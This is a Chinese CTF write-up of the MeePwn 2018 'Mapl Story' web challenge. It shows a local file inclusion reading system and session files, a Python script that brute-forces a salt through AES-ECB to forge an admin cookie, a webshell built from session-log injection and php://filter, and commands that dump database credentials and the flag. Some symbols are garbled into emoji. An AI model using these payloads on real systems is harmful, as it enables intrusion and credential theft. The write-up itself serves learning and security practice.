前言
MeePwn CTF 2018 剩下的 Web 题,主要是基于 PHP 的代码审计,考点颇多,恰好是我所不擅长的区域😭
赶紧来复现一下提高姿势水平
Mapl Story
主要考点有 PHP 代码审计能力,以及对 PHP session 的理解,PHP webshell 的利用,和对 AES-128-ECB 的攻击
LFI
访问以下 URL,可以发现这里存在着一个文件包含问题
http://178.128.87.16/?page=/etc/group
root❌0: daemon❌1: bin❌2: sys❌3: adm❌4:syslog tty❌5: disk❌6: lp❌7: mail❌8: news❌9: uucp❌10: man❌12: proxy❌13: kmem❌15: dialout❌20: fax❌21: voice❌22: cdrom❌24: floppy❌25: tape❌26: sudo❌27: audio❌29: dip❌30: www-data❌33: backup❌34: operator❌37: list❌38: irc❌39: src❌40: gnats❌41: shadow❌42: utmp❌43: video❌44: sasl❌45: plugdev❌46: staff❌50: games❌60: users❌100: nogroup❌65534: systemd-journal❌101: systemd-timesync❌102: systemd-network❌103: systemd-resolve❌104: systemd-bus-proxy❌105: input❌106: crontab❌107: syslog❌108: netdev❌109: lxd❌110: messagebus❌111: uuidd❌112: ssh❌113: mlocate❌114: admin❌115: docker❌116: ssl-cert❌117: mysql❌118:
但可以看到由于在 index.php
中存在着相应的过滤:
function bad_words($value)
{
//My A.I TsuGo show me that when player using these words below they feel angry, so i decide to censor them.
//Maybe some word is false positive but pls accept it, for a no-cancer gaming environment!
$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";
$value = preg_replace($too_bad, str_repeat("*",3) ,$value);
return $value;
}
foreach($_GET as $key=>$value)
{
if (is_array($value))
{
mapl_die();
}
$value=bad_words($value);
$_GET[$key]=$value;
}
暂时看来操作幅度不大,不过这里存在的意义在于我们可以泄露出相应 session 的信息
已知我们 PHPSESSID 的值为 o2c7bnl64jf2va8edho3ectvb6
,那么我们可以尝试通过以下网址访问我们的:
http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_o2c7bnl64jf2va8edho3ectvb6
character_name|s:64:"ecbce3a67b2cc65c58209871a7e43ea5f784018f9d30944e3a1aa542e3c48140";user|s:64:"2e1e63cfe3e8ac1b0292d31d97824c92aff14592cde39c9bf27d7c5ef2a1c872";action|s:28:"[03:53:29pm GMT+7] Logged In";
Admin
尝试访问 admin.php
,发现程序提示我们没有相应的 admin 权限,这意味着我们的第一步很可能是先变为 admin
审计代码,可以看到服务器对 admin 的校验是以 Cookie 中的 _role
为依据的
function is_admin($salt){
if(isset($_COOKIE['_role']) && !empty($_COOKIE['_role']) && $_COOKIE['_role']===hash('sha256', 'admin'.$salt)) {
return 1;
}
return 0;
}
只有当 sha256('admin'.$salt)
的值与 Cookie 中 _role
值相等时,服务器会主动将用户识别为 admin
继续审计代码,我们得到的结论是,我们无法通过手动修改 Cookie 外的方式成为 admin,因为服务端会默认将所有人设置成 user:
// login
if ($row['userIsAdmin']==='1'){
$data='admin'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
} else {
$data='user'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}
// register
$query = "INSERT INTO users(`userName`, `userEmail`, `userPass`, `userIsAdmin`, `userDesc`, `userAvatar`) VALUES('$name','$email','$password',0,' ','default.png')";
那么我们唯一的思路即通过计算出 $salt
的方式来计算出我们希望的 sha256 值,脚本如下:
import requests
import string
s = requests.Session()
def login():
payload = {"email": "qwe@eee.com", "pass": "qweqwe", "btn-login": 1}
return s.post('http://178.128.87.16/index.php?page=login.php', data=payload)
def change_name(name):
payload = {"name":name}
return s.post('http://178.128.87.16/index.php?page=setting.php', data=payload)
def get_sha256(text):
return text[21:85]
def main():
sess = 'http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_'
base = 'A'*16
salt = ''
guess_range = string.printable
assert('Game' in login().text)
sess += s.cookies['PHPSESSID']
print(sess)
while len(salt) < 16:
base = base[👎]
if base == '':
name = 'A'*16
else:
name = base
change_name(name)
s1 = get_sha256(s.get(sess).text)
s1 = s1[:32] if len(name) != 16 else s1[32:64]
for i in guess_range:
name = base + salt + i
change_name(name)
s2 = get_sha256(s.get(sess).text)[:32]
if s1 == s2:
salt += i
print(salt)
break
print(salt)
if __name__ == '__main__':
main()
核心思路还是 ECB 模式的缺陷,即 ECB 的每一块都是使用完全相同的方式进行界面加解密,所以明文和密文的每一块都是一一对应的,这也给了我们暴力猜解 $salt
的可能性,我们只需要通过枚举的方式,将 $salt
枚举出即可: ms_g00d_0ld_g4m3
计算 sha256('admin'.'ms_g00d_0ld_g4m3')
即能以 admin 的状态登录了~~
webshell
在 admin 状态下,我们多了一个赠送宠物的功能:
我们可以尝试给自己赠送一个宠物,然后在 character.php
来训练一个宠物:
继续审计 PHP 代码,我们可以知道相应的命令会被存入 /upload/md5($salt.$email)/command.txt
中:
if(isset($_POST['command']) && !empty($_POST['command'])){
if(strlen($_POST['command'])>=20) {
echo '<center><strong>Too Long</strong></center>';
}
else {
save_command($mail,$salt,$_POST['command']);
header("Refresh:0");
}
}
function save_command($email,$salt,$data){
$dir='./upload/'.md5($salt.$email);
file_put_contents($dir.'/command.txt', $data);
}
那么我们可不可以直接在这里写入 webshell 呢?再利用 LFI 加载该文件以达成 webshell 效果,但事实是这条尝试是失败的😭
那么剩下的思路是再从新的地方尝试导入我们编写的 webshell
这里的思路就比较 trick 了(向大佬低头
我们可以看到 session 的 log 中存在一个记录用户操作的 action
,所以我们可以尝试向 <?=include"$_COOKIE[0]
用户赠送宠物,这样当我们修改 cookie 时,相应的文件即可被加载进来
此时我们需要进行如下三个操作:
- 修改 command.txt 内容,使其值为
PD89YCRFR0VUWZFDYDS`(<?=`$_GET[1]`)
- 注册用户名为
<?=include"$_COOKIE[0]
,并向其赠送宠物 - 修改 cookie 加入
{0: php://filter/convert.base64-decode/resource=/upload/64aed470d7164b1fdf381db0cd82ebd7/command.txt}
- 访问
http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_o2c7bnl64jf2va8edho3ectvb6?1=ls
此时我们已经拿到了一个最基本的 webshell,构造 payload,我们即能得到 dbconnect.php
相对应的源代码:
http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_o2c7bnl64jf2va8edho3ectvb6&1=cat%20dbconnect.php
<?php
define('DBHOST', 'localhost');
define('DBUSER', 'mapl_story_user');
define('DBPASS', 'tsu_tsu_tsu_tsu');
define('DBNAME', 'mapl_story');
$conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);
if ( !$conn ) {
die("Connection failed : " . mysql_error());
}
?>
此时我们已经拿到了数据库的账号密码,以及相应的数据库名,那么只要在数据库中运行 SELECT * FROM mapl_config
,即能获得相应的 flag
我们需要实现以下两步:
- 连接数据库:mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story
- 查询 flag:SELECT * FROM mapl_config;
那么写成 payload 即可以如下形式:echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story
运行 payload,即可获得 flag:MeePwnCTF{Abus1ng_SessioN_Is_AlwAys_C00L_1337!_}